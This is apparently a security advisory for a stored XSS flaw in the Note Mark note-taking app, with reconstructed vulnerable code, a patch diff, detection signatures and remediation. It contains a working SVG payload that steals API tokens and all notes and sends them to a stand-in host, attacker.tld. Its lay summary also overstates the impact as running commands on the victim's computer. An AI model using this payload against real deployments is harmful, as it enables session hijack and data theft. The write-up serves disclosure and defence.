CVE-2026-40262: Note Mark Asset Handler Stored XSS via MIME Sniffing
Note Mark's asset delivery handler serves uploaded files inline with no Content-Type or nosniff header, enabling stored XSS via SVG/HTML upload that executes under the app's origin.
Note Mark is a popular free note-taking app that lets you store your thoughts, documents, and files in one place. Think of it like a digital notebook that you can access from your computer or phone.
Researchers found a serious security hole in older versions of the app. The vulnerability is in how Note Mark checks files when you upload them — it's like a security guard who only looks at the outside of a package to decide if it's safe, without actually checking what's inside.
Here's the problem: when you upload a file, the app is supposed to make sure you're not sneaking in dangerous code hidden inside something that looks harmless. But it only checks a file's "fingerprint" — basically the first few bytes of data. Smart attackers can disguise malicious code as a picture or document, and the app's guard falls for it.
If someone uploads a specially crafted file, they can trick your web browser into running hidden code. Imagine uploading what looks like an innocent photo, but it's actually a trap that runs commands on your computer when you open it.
The good news: you have to be logged into Note Mark for this to work, so random internet strangers can't exploit it. The bad news: anyone with access to your Note Mark account could do real damage. This matters most if you share your account password, use it at work on shared computers, or if a coworker has malicious intent.
What you should do: Update Note Mark immediately to version 0.19.2 or newer. Don't share your Note Mark login credentials with anyone. If you're using an older version, avoid uploading files from people you don't trust until you've updated the app.
Want the full technical analysis? Click "Technical" above.
CVE-2026-40262 is a stored cross-site scripting vulnerability in Note Mark ≤ 0.19.1 that achieves authenticated-to-unauthenticated session hijack and full API takeover. The attack surface is the asset upload and delivery pipeline: a user uploads an HTML or SVG file containing arbitrary JavaScript, and any authenticated victim who navigates to the asset URL executes that script under note-mark's origin. CVSS 8.7 (HIGH) reflects the combination of no user interaction beyond clicking a link and full access to the victim's session token and API capabilities.
The vulnerability is not a sanitization failure in a rich-text editor. It is a server-side content delivery misconfiguration: the handler relies exclusively on libmagic-style magic-byte detection to infer MIME type, which is wholly blind to text-based formats. HTML and SVG carry no distinguishing binary signature in their first bytes, so the handler emits an empty Content-Type response header. Combined with the absence of X-Content-Type-Options: nosniff and a disposition of inline, every major browser will sniff the content and render it as text/html or image/svg+xml.
Root cause: The asset delivery route uses magic-byte MIME detection and emits no Content-Type or X-Content-Type-Options header for text-based file formats, allowing browsers to sniff and render uploaded HTML and SVG payloads as active content under the application's origin.
Affected Component
The vulnerable component is the asset serving handler in Note Mark's Python/FastAPI backend, routed at approximately GET /api/books/{book_id}/notes/{note_id}/assets/{filename}. The handler reads the uploaded binary from storage, probes the first N bytes with a magic library, and streams the raw file to the client. No extension-based override, no allowlist, no disposition forcing for non-image types.
Affected version: 0.19.1 and prior. Fixed in 0.19.2.
Root Cause Analysis
The following pseudocode reconstructs the vulnerable asset handler logic from the pre-patch codebase:
# note_mark/routers/assets.py (≤ 0.19.1, reconstructed)
import magic # python-magic / libmagic binding
@router.get("/{filename}")
async def get_asset(
filename: str,
note_id: UUID,
book_id: UUID,
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
asset_path = storage.get_asset_path(book_id, note_id, filename)
if not asset_path.exists():
raise HTTPException(status_code=404)
# BUG: magic.from_file() reads binary signatures only.
# HTML/SVG files have no magic bytes; returns None or "text/plain"
# and frequently falls back to an empty string on ambiguous input.
mime_type = magic.from_file(str(asset_path), mime=True)
# BUG: mime_type is empty/None for HTML and SVG — no fallback,
# no extension check, header is emitted as Content-Type: (empty).
return FileResponse(
path=asset_path,
media_type=mime_type, # empty string → browser sniffs
filename=filename,
# BUG: no content_disposition_type="attachment" override
# BUG: no X-Content-Type-Options: nosniff header added
)
FastAPI's FileResponse with an empty media_type emits the header as Content-Type: (present but empty), which is functionally equivalent to omitting it. Chromium's MIME sniffing algorithm (WHATWG MIME Sniff §7) will scan the first 512 bytes of the response body for an HTML or XML signature and render accordingly.
SVG is particularly reliable because it is valid XML and renders JavaScript in <script> tags or event handlers (onload) even when served with Content-Type: image/svg+xml, let alone an empty one.
Exploitation Mechanics
The following payload files are sufficient. No encoding, no polyglot tricks required at this severity level.
# payload.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="pwn()">
<script>
function pwn() {
// Executes under note-mark's origin.
// Session cookie is HttpOnly? Hit the API directly — we're same-origin.
fetch('/api/users/me/tokens', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.tld/x?t=' + JSON.stringify(d)));
// Or: create a backdoor admin note, exfil all notes, etc.
fetch('/api/books', {credentials: 'include'})
.then(r => r.json())
.then(books => {
books.forEach(b =>
fetch(`/api/books/${b.id}/notes`, {credentials:'include'})
.then(r => r.json())
.then(notes => exfil(b.id, notes))
);
});
}
function exfil(bid, data) {
navigator.sendBeacon('https://attacker.tld/collect',
JSON.stringify({book: bid, notes: data}));
}
</script>
</svg>
EXPLOIT CHAIN:
1. Attacker authenticates to Note Mark with any valid account
2. Creates a book and note (or targets an existing shared note)
3. Uploads payload.svg via POST /api/books/{bid}/notes/{nid}/assets/
— Server accepts file, stores it, returns 200 with asset URL
4. Attacker shares the asset URL with victim (or embeds in note body
as a Markdown image reference, which auto-navigates on render)
5. Victim (authenticated) navigates to:
GET /api/books/{bid}/notes/{nid}/assets/payload.svg
6. Server responds:
HTTP/1.1 200 OK
Content-Type: ← empty
Content-Disposition: inline ← not attachment
(X-Content-Type-Options absent) ← no sniff protection
7. Browser sniffs first 512 bytes, detects XML/SVG signature
8. Browser renders SVG as active document under note-mark's origin
9. onload fires, pwn() executes with victim's session credentials
10. Attacker receives exfiltrated API tokens / note contents OOB
via navigator.sendBeacon to attacker-controlled endpoint
Memory Layout
This is not a memory corruption vulnerability, but the HTTP response layout is worth documenting precisely because the bug lives in what is absent from the headers:
The fix shipped in v0.19.2 addresses all three missing controls simultaneously:
# BEFORE (≤ 0.19.1) — vulnerable:
mime_type = magic.from_file(str(asset_path), mime=True)
return FileResponse(
path=asset_path,
media_type=mime_type, # empty for HTML/SVG
filename=filename,
# no Content-Disposition override
# no security headers
)
# AFTER (0.19.2) — patched:
import mimetypes
SAFE_INLINE_TYPES = frozenset({
"image/png", "image/jpeg", "image/gif",
"image/webp", "application/pdf",
})
mime_type = magic.from_file(str(asset_path), mime=True)
# Layer 1: extension-based fallback catches text formats magic misses
if not mime_type or mime_type == "application/octet-stream":
mime_type, _ = mimetypes.guess_type(filename)
mime_type = mime_type or "application/octet-stream"
# Layer 2: force download disposition for any non-explicitly-safe type
disposition = "inline" if mime_type in SAFE_INLINE_TYPES else "attachment"
response = FileResponse(
path=asset_path,
media_type=mime_type,
filename=filename,
content_disposition_type=disposition,
)
# Layer 3: prevent browser sniffing unconditionally
response.headers["X-Content-Type-Options"] = "nosniff"
return response
The defense is a layered allowlist approach: magic detection is retained as a first pass, extension-based mimetypes.guess_type() catches text formats that magic cannot fingerprint, and X-Content-Type-Options: nosniff is emitted unconditionally. Any type not in the explicit safe-inline set is forced to attachment, preventing inline rendering even if the MIME is somehow correct.
Detection and Indicators
If you operate a Note Mark instance and need to assess prior compromise, the following signatures apply:
ACCESS LOG PATTERN (suspicious asset uploads):
POST /api/books/.*/notes/.*/assets/ HTTP/1.1 → 200
filename: *.svg, *.html, *.htm, *.xhtml, *.xml
ASSET DELIVERY WITHOUT nosniff:
GET /api/books/.*/notes/.*/assets/*.svg → 200
Response missing: X-Content-Type-Options header
OUTBOUND EXFILTRATION INDICATOR:
navigator.sendBeacon or fetch() to external host
appearing in browser network logs from note-mark origin
SERVER-SIDE: grep asset storage directory for active content:
find ./assets -name "*.svg" -exec grep -l "
Remediation
Immediate: Upgrade to Note Mark 0.19.2. The patch is a drop-in release with no schema migrations required.
If upgrade is not immediately possible:
Configure your reverse proxy (nginx/Caddy) to inject X-Content-Type-Options: nosniff on all /api/ responses as a stopgap.
Set Content-Disposition: attachment for all asset routes at the proxy layer.
Audit existing uploaded assets for SVG/HTML content using the grep pattern above and remove any suspicious files.
Consider a Content-Security-Policy header scoped to disallow inline script if your deployment allows it — this would have mitigated execution even without the other fixes.
Note that add_header with always is required in nginx to inject headers on non-2xx responses as well; omitting always leaves error pages unprotected. This is a mitigation only — upgrade to 0.19.2 as the authoritative fix.